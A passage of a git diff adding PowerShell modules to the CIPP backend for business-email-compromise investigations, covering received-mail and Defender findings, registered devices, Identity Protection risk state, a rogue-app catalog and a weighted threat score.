'Low' 'Subject contains a common phishing keyword' $null $null + } + } + + $Summary = [pscustomobject]@{ + TotalMessages = @($Rows.MessageTraceId | Select-Object -Unique).Count + TotalRows = $Rows.Count + UniqueSenders = @($Rows.SenderAddress | Where-Object { $_ } | Select-Object -Unique).Count + TopSenderDomains = @($Rows | Where-Object { $_.SenderAddress } | Group-Object -Property { ([string]$_.SenderAddress -split '@')[-1].ToLowerInvariant() } | Sort-Object -Property Count -Descending | Select-Object -First 10 | ForEach-Object { [pscustomobject]@{ Domain = $_.Name; Count = $_.Count } }) + TyposquatDomains = @($DomainVerdicts.Keys) + } + $Result = New-CIPPBecCollectorResult -Data @($List | Sort-Object -Property @{ Expression = { $_.Severity -eq 'ReviewHigh' }; Descending = $true }, @{ Expression = { $_.Received }; Descending = $true }) -Complete $Trace.Complete -Cap $Trace.Cap + $Result | Add-Member -NotePropertyName 'Summary' -NotePropertyValue $Summary -Force + $Result + } catch { + $Result = New-CIPPBecCollectorResult -Data @() -Error "Received message trace failed: $((Get-NormalizedError -message $_.Exception.Message))" + $Result | Add-Member -NotePropertyName 'Summary' -NotePropertyValue $null -Force + $Result + } + + $Defender = if ($IncludeDefender) { + try { + $Now = (Get-Date).ToUniversalTime() + $End = if ($EndDate.ToUniversalTime() -gt $Now) { $Now } else { $EndDate.ToUniversalTime() } + $DefenderTop = [int]($Heuristics.caps.defenderMessages ?? 1000) + # The service rejects $filter on recipientEmailAddress ("Invalid filter with propName"), so the window is + # read tenant-wide (metadata only) and matched to the mailbox here; the page cap is reported as such. + $Uri = "https://graph.microsoft.com/beta/security/collaboration/analyzedEmails?startTime=$($StartDate.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ'))&endTime=$($End.ToString('yyyy-MM-ddTHH:mm:ssZ'))&`$top=$DefenderTop" + $TenantAnalyzed = @(New-GraphGetRequest -uri $Uri -tenantid $TenantFilter -AsApp $true -noPagination $true | Where-Object { $_ }) + $Analyzed = @($TenantAnalyzed | Where-Object { [string]$_.recipientEmailAddress -eq $UserPrincipalName -or (@($_.recipientDetail.ccRecipients) -contains $UserPrincipalName) }) + $Threats = foreach ($Mail in $Analyzed) { + $ThreatTypes = @($Mail.threatTypes | Where-Object { $_ -and $_ -notin @('none', 'unknown', 'unknownFutureValue') }) + if ($ThreatTypes.Count -eq 0) { continue } + $Action = [string]($Mail.latestDelivery.action ?? $Mail.deliveryAction) + $LatestLocation = [string]($Mail.latestDelivery.location ?? $Mail.latestDeliveryLocation) + [pscustomobject]@{ + NetworkMessageId = $Mail.networkMessageId + ReceivedDateTime = $Mail.loggedDateTime ?? $Mail.receivedDateTime + SenderAddress = $Mail.senderDetail.fromAddress ?? $Mail.senderDetail.mailFromAddress ?? $Mail.p2Sender ?? $Mail.p1Sender + SenderIP = $Mail.senderDetail.ipv4 ?? $Mail.senderDetail.ipv6 ?? $Mail.senderDetail.senderIPv4 ?? $Mail.senderDetail.senderIPv6 + Subject = $Mail.subject + ThreatTypes = $ThreatTypes + DetectionMethods = @($Mail.detectionMethods ?? $Mail.threatDetectionDetails) + DeliveryAction = $Action + OriginalDeliveryLocation = $Mail.originalDelivery.location ?? $Mail.originalDeliveryLocation + LatestDeliveryLocation = $LatestLocation + PhishConfidenceLevel = $Mail.phishConfidenceLevel + Delivered = ($Action -match '^(delivered|deliveredAsSpam|replaced|deliveredToJunk)$' -or $LatestLocation -match '^(inbox|junkFolder|folder)') + } + } + $Result = New-CIPPBecCollectorResult -Data @($Threats | Sort-Object -Property @{ Expression = { $_.Delivered }; Descending = $true }, @{ Expression = { $_.ReceivedDateTime }; Descending = $true }) -Complete ($TenantAnalyzed.Count -lt $DefenderTop) -Cap ($(if ($TenantAnalyzed.Count -ge $DefenderTop) { "first $DefenderTop analysed messages in the window (tenant-wide; the service cannot filter by recipient)" } else { $null })) + $Result | Add-Member -NotePropertyName 'AnalyzedCount' -NotePropertyValue $Analyzed.Count -Force + $Result | Add-Member -NotePropertyName 'Available' -NotePropertyValue $true -Force + $Result + } catch { + $Message = [string](Get-NormalizedError -message $_.Exception.Message) + $IsPermission = [bool]($Message -match '(?i)Authorization_RequestDenied|forbidden|insufficient privileges|do(es)? not have permission|Access(Is)?Denied') + $IsLicense = [bool]($Message -match '(?i)subscription|licen[cs]e|not enabled|Defender') + # A missing licence or permission is a skipped check (couldn't run), not a failure. + $Requirement = if ($IsLicense) { 'requires Defender for Office 365 Plan 2' } elseif ($IsPermission) { 'requires the Defender threat-hunting read permission' } else { $null } + $Result = New-CIPPBecCollectorResult -Data @() -Error "Defender analysed-email metadata unavailable: $Message" -Skipped ([bool]($IsLicense -or $IsPermission)) -Requirement $Requirement + $Result | Add-Member -NotePropertyName 'Available' -NotePropertyValue $false -Force + $Result | Add-Member -NotePropertyName 'PermissionError' -NotePropertyValue $IsPermission -Force + $Result | Add-Member -NotePropertyName 'LicenseError' -NotePropertyValue $IsLicense -Force + $Result + } + } else { + # Defender was not queried (the run's licence preflight found no Defender for Office 365 Plan 2): + # a skipped check, not a clean pass. + $Result = New-CIPPBecCollectorResult -Data @() -Skipped $true -Requirement 'requires Defender for Office 365 Plan 2' + $Result | Add-Member -NotePropertyName 'Available' -NotePropertyValue $false -Force + $Result + } + + return [pscustomobject]@{ + Findings = $Findings + Defender = $Defender + } +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecRegisteredDevices.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecRegisteredDevices.ps1 new file mode 100644 index 0000000000..478474077a --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecRegisteredDevices.ps1 @@ -0,0 +1,53 @@ +function Get-CIPPBecRegisteredDevices { + <# + .SYNOPSIS + Collects the Entra devices registered to the investigated user and flags registrations inside the window. + .DESCRIPTION + Reads users/{id}/registeredDevices. A device registered during the analysis window is a classic + persistence move (a VM or BYOD endpoint standing up under the identity, often followed by + Windows Hello for Business enrolment), so those rows are flagged and sorted first. Intune + managed devices are collected separately by the Quick scope. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserId + The user's object id. + .PARAMETER StartDate + Window start (UTC). + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$UserId, + [Parameter(Mandatory = $true)][datetime]$StartDate + ) + + $Uri = "https://graph.microsoft.com/v1.0/users/$UserId/registeredDevices/microsoft.graph.device?`$select=id,deviceId,displayName,operatingSystem,operatingSystemVersion,trustType,registrationDateTime,approximateLastSignInDateTime,accountEnabled,isCompliant,isManaged,profileType,enrollmentType,manufacturer,model" + $Devices = @(New-GraphGetRequest -uri $Uri -tenantid $TenantFilter -AsApp $true) + $Window = $StartDate.ToUniversalTime() + $Rows = foreach ($Device in $Devices) { + if (-not $Device.id) { continue } + $Registered = if ($Device.registrationDateTime) { ([datetime]$Device.registrationDateTime).ToUniversalTime() } else { $null } + [pscustomobject]@{ + id = $Device.id + deviceId = $Device.deviceId + displayName = $Device.displayName + operatingSystem = $Device.operatingSystem + operatingSystemVersion = $Device.operatingSystemVersion + trustType = $Device.trustType + profileType = $Device.profileType + enrollmentType = $Device.enrollmentType + manufacturer = $Device.manufacturer + model = $Device.model + accountEnabled = $Device.accountEnabled + isCompliant = $Device.isCompliant + isManaged = $Device.isManaged + registrationDateTime = if ($Registered) { $Registered.ToString('yyyy-MM-ddTHH:mm:ssZ') } else { $null } + approximateLastSignInDateTime = if ($Device.approximateLastSignInDateTime) { ([datetime]$Device.approximateLastSignInDateTime).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ') } else { $null } + RegisteredInWindow = [bool]($Registered -and $Registered -ge $Window) + } + } + $Data = @($Rows | Sort-Object -Property @{ Expression = { $_.RegisteredInWindow }; Descending = $true }, @{ Expression = { $_.registrationDateTime }; Descending = $true }) + return New-CIPPBecCollectorResult -Data $Data +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecReport.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecReport.ps1 new file mode 100644 index 0000000000..1fddec7c1c --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecReport.ps1 @@ -0,0 +1,75 @@ +function Get-CIPPBecReport { + <# + .SYNOPSIS + Reads BEC run rows from the BecReports table, optionally with the results payload. + .DESCRIPTION + Without -CaseId, lists the run rows for a tenant (or every tenant with -TenantFilter AllTenants), + optionally narrowed to one user - metadata only, newest first. With -CaseId, returns that + single run and, when -IncludeResults is set, fetches the run's row from the BecResults table + (reassembled from its part rows when the payload was split for size) and attaches the parsed + payload as the Results property. Everything comes from table storage. + .PARAMETER TenantFilter + Tenant default domain name, or AllTenants. + .PARAMETER CaseId + A specific run. + .PARAMETER UserId + Narrow the list to one user's runs. + .PARAMETER IncludeResults + Fetch and attach the results payload (single run only). + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [string]$CaseId, + [string]$UserId, + [switch]$IncludeResults + ) + + $Table = Get-CIPPTable -TableName 'BecReports' + $Clauses = [System.Collections.Generic.List[string]]::new() + if ($TenantFilter -ne 'AllTenants') { + $Clauses.Add("PartitionKey eq '$($TenantFilter -replace "'", "''")'") + } + if ($CaseId) { + $Clauses.Add("RowKey eq '$($CaseId -replace "'", "''")'") + } + if ($UserId) { + $Clauses.Add("UserId eq '$($UserId -replace "'", "''")'") + } + $Rows = if ($Clauses.Count -gt 0) { + Get-CIPPAzDataTableEntity @Table -Filter ($Clauses -join ' and ') + } else { + Get-CIPPAzDataTableEntity @Table + } + $Rows = @($Rows | Where-Object { $_ } | Sort-Object -Property RowKey -Descending) + foreach ($Row in $Rows) { + foreach ($JsonProp in @('Containment', 'EvidenceExports')) { + if ($Row.PSObject.Properties[$JsonProp] -and $Row.$JsonProp -is [string] -and $Row.$JsonProp) { + try { $Row.$JsonProp = $Row.$JsonProp | ConvertFrom-Json -ErrorAction Stop } catch { Write-Verbose "BEC run $($Row.RowKey): $JsonProp is not valid JSON, leaving it as text" } + } + } + $Row | Add-Member -NotePropertyName 'CaseId' -NotePropertyValue $Row.RowKey -Force + $Row | Add-Member -NotePropertyName 'Tenant' -NotePropertyValue $Row.PartitionKey -Force + } + if ($CaseId) { + $Row = $Rows | Select-Object -First 1 + # Only a completed run has a results payload; a queued, running or failed run has nothing + # to attach and must not be treated as broken. + if ($Row -and $IncludeResults -and $Row.Status -eq 'Completed') { + $ResultsTable = Get-CIPPTable -TableName 'BecResults' + $ResultsRow = Get-CIPPAzDataTableEntity @ResultsTable -Filter "PartitionKey eq '$($Row.PartitionKey -replace "'", "''")' and RowKey eq '$($Row.RowKey -replace "'", "''")'" | Select-Object -First 1 + if ($ResultsRow -and $ResultsRow.Results) { + $Row | Add-Member -NotePropertyName 'Results' -NotePropertyValue ([string]$ResultsRow.Results | ConvertFrom-Json -Depth 20) -Force + } elseif ($Row.PSObject.Properties['ResultsBlob'] -and $Row.ResultsBlob) { + # runs written before results moved to table storage + throw "The results of case $CaseId were stored by an earlier version and can no longer be read; start a new run" + } else { + throw "The results payload for case $CaseId was not found in the BecResults table" + } + } + return $Row + } + return $Rows +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecRiskState.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecRiskState.ps1 new file mode 100644 index 0000000000..198f3ab718 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecRiskState.ps1 @@ -0,0 +1,97 @@ +function Get-CIPPBecRiskState { + <# + .SYNOPSIS + Collects the investigated user's Identity Protection risk state and recent risk detections. + .DESCRIPTION + Reads identityProtection/riskyUsers/{id} (a 404 means the user is not listed as risky) and the + risk detections for the user inside the window. Identity Protection needs Entra ID P2; a + licence or permission error is reported as an incomplete collector, never as "not risky". + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserId + The user's object id. + .PARAMETER StartDate + Window start (UTC) for detections. + .PARAMETER Cap + Maximum detections to return. + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$UserId, + [Parameter(Mandatory = $true)][datetime]$StartDate, + [int]$Cap = 50 + ) + + $SafeId = ConvertTo-CIPPODataFilterValue -Value $UserId -Type Guid + $State = [ordered]@{ + Listed = $false + RiskLevel = $null + RiskState = $null + RiskDetail = $null + RiskLastUpdatedDateTime = $null + IsProcessing = $null + Detections = @() + } + $Errors = [System.Collections.Generic.List[string]]::new() + $Skipped = $false + $Requirement = $null + + try { + $RiskyUser = New-GraphGetRequest -uri "https://graph.microsoft.com/v1.0/identityProtection/riskyUsers/$SafeId" -tenantid $TenantFilter -noPagination $true + if ($RiskyUser.id) { + $State.Listed = $true + $State.RiskLevel = $RiskyUser.riskLevel + $State.RiskState = $RiskyUser.riskState + $State.RiskDetail = $RiskyUser.riskDetail + $State.IsProcessing = $RiskyUser.isProcessing + $State.RiskLastUpdatedDateTime = if ($RiskyUser.riskLastUpdatedDateTime) { ([datetime]$RiskyUser.riskLastUpdatedDateTime).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ') } else { $null } + } + } catch { + $Message = [string](Get-NormalizedError -message $_.Exception.Message) + if ($Message -notmatch '(?i)not ?found|404|does not exist|Request_ResourceNotFound') { + if ($Message -match '(?i)UnknownError|Authorization_RequestDenied|premium|licen') { + $Skipped = $true + $Requirement = 'requires Entra ID P2 (Identity Protection)' + $Errors.Add('Identity Protection is not available for this tenant (Entra ID P2 licence or consent missing)') + } else { + $Errors.Add("riskyUsers: $Message") + } + } + } + + try { + $Start = $StartDate.ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ') + $Detections = @(New-GraphGetRequest -uri "https://graph.microsoft.com/v1.0/identityProtection/riskDetections?`$filter=userId eq '$SafeId' and detectedDateTime ge $Start&`$top=$Cap&`$orderby=detectedDateTime desc" -tenantid $TenantFilter -noPagination $true) + $State.Detections = @(foreach ($Detection in $Detections) { + if (-not $Detection.id) { continue } + [pscustomobject]@{ + id = $Detection.id + DetectedDateTime = if ($Detection.detectedDateTime) { ([datetime]$Detection.detectedDateTime).ToUniversalTime().ToString('yyyy-MM-ddTHH:mm:ssZ') } else { $null } + RiskEventType = $Detection.riskEventType + RiskLevel = $Detection.riskLevel + RiskState = $Detection.riskState + RiskDetail = $Detection.riskDetail + DetectionTiming = $Detection.detectionTimingType + Activity = $Detection.activity + IPAddress = $Detection.ipAddress + Country = $Detection.location.countryOrRegion + City = $Detection.location.city + Source = $Detection.source + } + }) + } catch { + $DetMessage = [string](Get-NormalizedError -message $_.Exception.Message) + if ($DetMessage -match '(?i)UnknownError|Authorization_RequestDenied|premium|licen') { + $Skipped = $true + if (-not $Requirement) { $Requirement = 'requires Entra ID P2 (Identity Protection)' } + } + $Errors.Add("riskDetections: $DetMessage") + } + + $ErrorText = if ($Errors.Count -gt 0) { $Errors -join '; ' } else { $null } + $Result = New-CIPPBecCollectorResult -Data ([pscustomobject]$State) -Complete ($Errors.Count -eq 0) -Error $ErrorText -Skipped $Skipped -Requirement $Requirement -Count (@($State.Detections).Count) + return $Result +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecRogueAppFeed.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecRogueAppFeed.ps1 new file mode 100644 index 0000000000..339325f4c5 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecRogueAppFeed.ps1 @@ -0,0 +1,114 @@ +function Get-CIPPBecRogueAppFeed { + <# + .SYNOPSIS + Returns the merged rogue-application catalog (CIPP MaliciousApps.json + Huntress rogueapps) keyed by appId. + .DESCRIPTION + The Huntress feed (https://huntresslabs.github.io/rogueapps/rogueapps.json) is fetched with a + short timeout and cached for MaxAgeHours in the BecRogueAppFeed table and in a per-worker memo, + so bulk BEC runs do not hit GitHub Pages once per user. CIPP's own curated list is always + merged in; when the feed is unavailable the result says so (HuntressAvailable = $false) and the + curated list alone is used - a feed outage must never fail a run or read as "no rogue apps". + .PARAMETER MaxAgeHours + Cache lifetime for the Huntress feed. + .PARAMETER Force + Ignore the caches and refetch. + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + [int]$MaxAgeHours = 24, + [switch]$Force + ) + + $Now = (Get-Date).ToUniversalTime() + if (-not $Force -and $script:CippBecRogueAppMemo -and $script:CippBecRogueAppMemo.Expires -gt $Now) { + return $script:CippBecRogueAppMemo.Feed + } + + $Apps = @{} + $HuntressAvailable = $false + $HuntressUpdated = $null + $HuntressApps = @() + + # Table cache first, then the live feed. + $Table = Get-CIPPTable -TableName 'BecRogueAppFeed' + $Cached = $null + if (-not $Force) { + try { + $Cached = Get-CIPPAzDataTableEntity @Table -Filter "PartitionKey eq 'Feed' and RowKey eq 'Huntress'" + } catch { $Cached = $null } + } + if ($Cached -and $Cached.Updated -and ([datetime]$Cached.Updated).ToUniversalTime().AddHours($MaxAgeHours) -gt $Now -and $Cached.Json) { + try { + $HuntressApps = @($Cached.Json | ConvertFrom-Json -ErrorAction Stop) + $HuntressAvailable = $HuntressApps.Count -gt 0 + $HuntressUpdated = $Cached.Updated + } catch { $HuntressApps = @() } + } + if (-not $HuntressAvailable) { + try { + $Feed = Invoke-RestMethod -Uri 'https://huntresslabs.github.io/rogueapps/rogueapps.json' -TimeoutSec 10 -ErrorAction Stop + # A GitHub Pages error page parses without throwing, so check the shape too. + if (@($Feed).Where({ $_.appId }, 'First')) { + $HuntressApps = @($Feed | Where-Object { $_.appId } | Select-Object appId, appDisplayName, description, tags, references, dateAdded) + $HuntressAvailable = $true + $HuntressUpdated = $Now.ToString('o') + try { + Add-CIPPAzDataTableEntity @Table -Entity @{ + PartitionKey = 'Feed' + RowKey = 'Huntress' + Updated = $HuntressUpdated + Json = [string](ConvertTo-Json -InputObject $HuntressApps -Depth 5 -Compress) + } -Force + } catch { + Write-Information "BEC rogue app feed: could not cache the Huntress feed: $($_.Exception.Message)" + } + } + } catch { + Write-Information "BEC rogue app feed: Huntress feed unavailable: $($_.Exception.Message)" + } + } + + foreach ($App in $HuntressApps) { + if (-not $App.appId) { continue } + $Apps[([string]$App.appId).ToLowerInvariant()] = [pscustomobject]@{ + Name = $App.appDisplayName + Description = $App.description + Categories = @() + Tags = @($App.tags) + References = @($App.references) + Added = $App.dateAdded + Source = 'Huntress' + } + } + + try { + $CippApps = @((Get-Content -Path (Join-Path $env:CIPPRootPath 'Config\MaliciousApps.json') -ErrorAction Stop | ConvertFrom-Json).applications) + foreach ($App in $CippApps) { + if (-not $App.appId) { continue } + $Key = ([string]$App.appId).ToLowerInvariant() + # CIPP's entries carry categories and richer descriptions; they win over the feed copy. + $Apps[$Key] = [pscustomobject]@{ + Name = $App.name + Description = $App.description + Categories = @($App.categories) + Tags = @($App.tags) + References = @($App.references) + Added = $null + Source = if ($Apps.ContainsKey($Key)) { 'CIPP, Huntress' } else { 'CIPP' } + } + } + } catch { + Write-Information "BEC rogue app feed: could not load MaliciousApps.json: $($_.Exception.Message)" + } + + $Result = [pscustomobject]@{ + Apps = $Apps + Count = $Apps.Count + HuntressAvailable = [bool]$HuntressAvailable + HuntressUpdated = $HuntressUpdated + } + $script:CippBecRogueAppMemo = @{ Feed = $Result; Expires = $Now.AddHours(1) } + return $Result +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecRunSteps.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecRunSteps.ps1 new file mode 100644 index 0000000000..df5d495ddb --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecRunSteps.ps1 @@ -0,0 +1,34 @@ +function Get-CIPPBecRunSteps { + <# + .SYNOPSIS + The ordered progress steps of a BEC investigation. + .DESCRIPTION + Push-BECRun reports its progress through the async-deployment rows (the same mechanism the + SharePoint template deployment uses), one step per phase. This is the single definition of + those phases so the run, the endpoint that queues it and the page that renders the steps + agree on the list. Every run is the full investigation; the last step is always the + location analysis, score and report. + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param() + + $Steps = [System.Collections.Generic.List[object]]::new() + $Add = { param($Key, $Title) $Steps.Add([pscustomobject]@{ Key = $Key; Title = $Title }) } + + & $Add 'AuditLog' 'Unified audit log: rules, permissions, safelists and sharing' + & $Add 'SignIns' 'Sign-ins and mobile devices' + & $Add 'MailboxRules' 'Inbox rules, safelists and sharing links' + & $Add 'SentMail' 'Sent message trace' + & $Add 'Tenant' 'Tenant sign-ins, users, MFA methods and applications' + & $Add 'MailboxInventory' 'Mailbox state, delegations and add-ins' + & $Add 'Grants' 'Application consents' + & $Add 'TransportRules' 'Transport rules' + & $Add 'ReceivedMail' 'Received mail and Defender verdicts' + & $Add 'Directory' 'Directory audits, registered devices and non-interactive sign-ins' + & $Add 'Activity' 'Mailbox activity and Identity Protection' + & $Add 'Score' 'Location analysis, threat score and report' + + return $Steps.ToArray() +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecScore.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecScore.ps1 new file mode 100644 index 0000000000..183a0eebd6 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecScore.ps1 @@ -0,0 +1,138 @@ +function Get-CIPPBecScore { + <# + .SYNOPSIS + Computes the BEC threat score and its breakdown from a results payload. + .DESCRIPTION + Pure function: takes the results object Push-BECRun assembles and the heuristics (weights + + thresholds) and returns { Value, Level, Thresholds, Breakdown }. The first fifteen signals + reproduce the additive score the PDF report computed client-side before the score moved + server-side - same counts, same weights, same High/Medium thresholds - so old and new reports + agree. The Full-scope signals (delegations, grants, transport rules, add-ins, received mail, + Defender, directory audits, registered devices, non-interactive sign-ins, mail activity, risk + state) add their weights only when their data is present in the payload. + .PARAMETER Results + The BEC results object. + .PARAMETER Heuristics + The BEC heuristics object (score.weights, score.thresholds, inboxRules.suspiciousFolderPattern). + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + [Parameter(Mandatory = $true)]$Results, + [Parameter(Mandatory = $true)]$Heuristics + ) + + $W = $Heuristics.score.weights + $Weight = { param($Name) [int]($W.$Name ?? 0) } + $HighThreshold = [int]($Heuristics.score.thresholds.high ?? 7) + $MediumThreshold = [int]($Heuristics.score.thresholds.medium ?? 4) + $NewUsersThreshold = [int]($Heuristics.score.newUsersThreshold ?? 5) + $WindowDays = [int]($Results.AnalysisWindowDays ?? $Heuristics.window.days ?? 7) + $SuspiciousFolder = [string]($Heuristics.inboxRules.suspiciousFolderPattern ?? 'RSS') + + $ExtractedAt = try { ([datetime]$Results.ExtractedAt).ToUniversalTime() } catch { (Get-Date).ToUniversalTime() } + $WindowStart = $ExtractedAt.AddDays(-$WindowDays) + $InWindow = { param($Value) if (-not $Value) { return $false }; try { ([datetime]$Value).ToUniversalTime() -ge $WindowStart } catch { $false } } + $Count = { param($Value) if ($null -eq $Value) { 0 } else { @($Value).Count } } + + # --- the original fifteen signals (stats derivation mirrors the report) --- + $NewRules = @($Results.NewRules) + $LocationAnalysis = $Results.LocationAnalysis + $Stats = [ordered]@{ + NewRules = & $Count $Results.NewRules + InboxRuleChanges = & $Count $Results.InboxRuleChanges + PermissionChanges = & $Count $Results.MailboxPermissionChanges + PermissionChangesTargetingUser = @($Results.MailboxPermissionChanges | Where-Object { $_.TargetsSuspect -eq $true }).Count + NewApps = & $Count $Results.AddedApps + NewUsers = & $Count $Results.NewUsers + SafelistChanges = & $Count $Results.SafelistChanges + SuspiciousRules = @($NewRules | Where-Object { $_.Suspicious -eq $true -or [string]$_.MoveToFolder -clike "*$SuspiciousFolder*" }).Count + MaliciousApps = @($Results.AddedApps | Where-Object { $_.MaliciousMatch }).Count + (& $Count $Results.MaliciousSPs) + ForeignSuccessfulSignIns = [int]($LocationAnalysis.ForeignSuccessfulSignInCount ?? 0) + ForeignActivity = [int]($LocationAnalysis.ForeignRuleChangeCount ?? 0) + [int]($LocationAnalysis.ForeignSafelistChangeCount ?? 0) + [int]($LocationAnalysis.ForeignSharingChangeCount ?? 0) + [int]($LocationAnalysis.ForeignSentMessageCount ?? 0) + AnonymousLinks = @($Results.SharingChanges | Where-Object { [string]$_.Operation -like 'AnonymousLink*' }).Count + MassMail = if ($Results.SentMessageAnalysis.Flagged -eq $true) { 1 } else { 0 } + RecentMfaMethods = @($Results.MFADevices | Where-Object { & $InWindow $_.createdDateTime }).Count + RecentIntuneDevices = @($Results.IntuneDevices | Where-Object { & $InWindow $_.enrolledDateTime }).Count + # --- Full-scope signals --- + FlaggedDelegations = @($Results.Delegations | Where-Object { $_.Flagged -eq $true }).Count + RiskyUserGrants = @($Results.UserGrants | Where-Object { $_.Risk -eq 'High' }).Count + CatalogUserGrants = @($Results.UserGrants | Where-Object { $_.Risk -eq 'CatalogMatch' }).Count + RiskyTransportRuleChanges = @($Results.TransportRuleChanges | Where-Object { $_.Flagged -eq $true }).Count + FlaggedMailboxAddIns = @($Results.MailboxAddIns | Where-Object { $_.Flagged -eq $true }).Count + TyposquatSenders = @($Results.ReceivedMailFindings | Where-Object { $_.FindingType -eq 'PossibleTyposquat' }).Count + DefenderDetections = @($Results.DefenderDetections | Where-Object { $_.Delivered -eq $true }).Count + FlaggedDirectoryAudits = @($Results.DirectoryAudits | Where-Object { $_.Flagged -eq $true }).Count + RecentRegisteredDevices = @($Results.RegisteredDevices | Where-Object { $_.RegisteredInWindow -eq $true }).Count + ForeignNonInteractiveSignIns = @($Results.NonInteractiveSignIns | Where-Object { $_.ForeignLocation -eq $true -and $_.Status -eq 'Success' }).Count + SuspiciousMailActivity = [int]([bool]($Results.MailActivitySummary.HardDeleteExceeded -eq $true)) + @($Results.MailActivity | Where-Object { $_.Operation -eq 'MailItemsAccessed' -and $_.ForeignLocation -eq $true }).Count + RiskyUserHigh = if ($Results.RiskState.Listed -eq $true -and $Results.RiskState.RiskState -eq 'atRisk' -and $Results.RiskState.RiskLevel -eq 'high') { 1 } else { 0 } + RiskyUserMedium = if ($Results.RiskState.Listed -eq $true -and $Results.RiskState.RiskState -eq 'atRisk' -and $Results.RiskState.RiskLevel -eq 'medium') { 1 } else { 0 } + RiskyUserLow = if ($Results.RiskState.Listed -eq $true -and $Results.RiskState.RiskState -eq 'atRisk' -and $Results.RiskState.RiskLevel -eq 'low') { 1 } else { 0 } + ConfirmedCompromised = if ($Results.RiskState.RiskState -eq 'confirmedCompromised') { 1 } else { 0 } + } + + $Descriptions = @{ + NewRules = 'Inbox rules exist on the mailbox' + InboxRuleChanges = 'Inbox rules were created, changed or removed in the window' + PermissionChangesTargetingUser = 'Mailbox permission changes targeted this mailbox' + PermissionChanges = 'Mailbox permission changes elsewhere in the tenant' + NewApps = 'New service principals appeared in the tenant' + NewUsers = "More than $NewUsersThreshold users were created in the window" + SafelistChanges = 'Trusted/blocked sender lists were changed' + SuspiciousRules = 'An inbox rule hides, forwards or deletes mail (or acts on all incoming mail)' + MaliciousApps = 'Applications match the known-malicious catalog' + ForeignSuccessfulSignIns = 'Successful sign-ins from outside the usage location' + ForeignActivity = 'Rule, safelist, sharing or mail activity from outside the usage location' + AnonymousLinks = 'Anonymous sharing links were created or changed' + MassMail = 'Mass-mail pattern in sent messages' + RecentMfaMethods = 'MFA methods registered in the window' + RecentIntuneDevices = 'Intune devices enrolled in the window' + FlaggedDelegations = 'External, guest or catch-all mailbox delegations' + RiskyUserGrants = 'Consent grants with high-risk scopes from unverified publishers' + CatalogUserGrants = 'Consent grants to applications in the rogue-app catalog' + RiskyTransportRuleChanges = 'Transport rules with diversion or suppression actions changed in the window' + FlaggedMailboxAddIns = 'User-installed non-Microsoft mailbox add-ins' + TyposquatSenders = 'Mail received from look-alike sender domains' + DefenderDetections = 'Defender-classified threats delivered to the mailbox' + FlaggedDirectoryAudits = 'Security-info, consent or device registration events in the directory audit' + RecentRegisteredDevices = 'Entra devices registered in the window' + ForeignNonInteractiveSignIns = 'Successful non-interactive sign-ins from outside the usage location' + SuspiciousMailActivity = 'Excessive hard deletes or mailbox access from outside the usage location' + RiskyUserHigh = 'Identity Protection: user at high risk' + RiskyUserMedium = 'Identity Protection: user at medium risk' + RiskyUserLow = 'Identity Protection: user at low risk' + ConfirmedCompromised = 'Identity Protection: user confirmed compromised' + } + + $Breakdown = [System.Collections.Generic.List[object]]::new() + $Total = 0 + foreach ($Name in $Stats.Keys) { + $Value = [int]$Stats[$Name] + $Applied = switch ($Name) { + 'NewUsers' { $Value -gt $NewUsersThreshold } + # a change to this mailbox outweighs unrelated tenant churn; only one of the two applies + 'PermissionChanges' { $Value -gt 0 -and [int]$Stats['PermissionChangesTargetingUser'] -eq 0 } + default { $Value -gt 0 } + } + $Wt = & $Weight $Name + if ($Applied) { $Total += $Wt } + $Breakdown.Add([pscustomobject]@{ + Signal = $Name + Description = $Descriptions[$Name] + Weight = $Wt + Count = $Value + Applied = [bool]$Applied + }) + } + + $Level = if ($Total -ge $HighThreshold) { 'High' } elseif ($Total -ge $MediumThreshold) { 'Medium' } else { 'Low' } + return [pscustomobject]@{ + Value = [int]$Total + Level = $Level + Thresholds = [pscustomobject]@{ High = $HighThreshold; Medium = $MediumThreshold } + Breakdown = $Breakdown.ToArray() + Version = 2 + } +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecTransportRules.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecTransportRules.ps1 new file mode 100644 index 0000000000..67a9c20d39 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecTransportRules.ps1 @@ 